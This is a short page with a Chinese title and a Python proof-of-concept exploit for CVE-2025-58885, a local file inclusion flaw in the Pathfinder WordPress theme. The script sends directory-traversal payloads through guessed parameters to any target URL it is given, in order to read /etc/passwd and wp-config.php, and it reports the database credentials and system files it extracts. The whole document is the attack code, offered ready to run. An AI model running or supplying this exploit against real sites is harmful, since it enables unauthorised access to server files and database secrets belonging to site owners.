CVE-2025-58885 WordPress Pathfinder主题本地文件包含漏洞

import requests import sys def exploit_cve_2025_58885(target_url): """ CVE-2025-58885 PoC - Pathfinder Theme LFI Target: AncoraThemes Pathfinder WordPress Theme <= 1.16 """ # Common vulnerable parameters for pathfinder theme vulnerable_params = ['file', 'page', 'template', 'view', 'action'] # Payload to read system files payloads = [ '../../../../../../etc/passwd', '../../../../wp-config.php', '../../../../../../var/www/html/wp-config.php' ] print(f"[*] Target: {target_url}") print(f"[*] CVE-2025-58885 - Pathfinder Theme LFI Exploitation") for param in vulnerable_params: for payload in payloads: try: exploit_url = f"{target_url}/?{param}={payload}" response = requests.get(exploit_url, timeout=10) # Check for successful exploitation if 'root:' in response.text or 'DB_NAME' in response.text: print(f"[!] VULNERABLE! Parameter: {param}") print(f"[!] Payload: {payload}") print(f"[!] URL: {exploit_url}") print(f"[+] Content extracted successfully") return True except Exception as e: print(f"[-] Error: {e}") continue print("[*] No vulnerable parameter found or target not affected") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = input("Enter target URL: ") exploit_cve_2025_58885(target)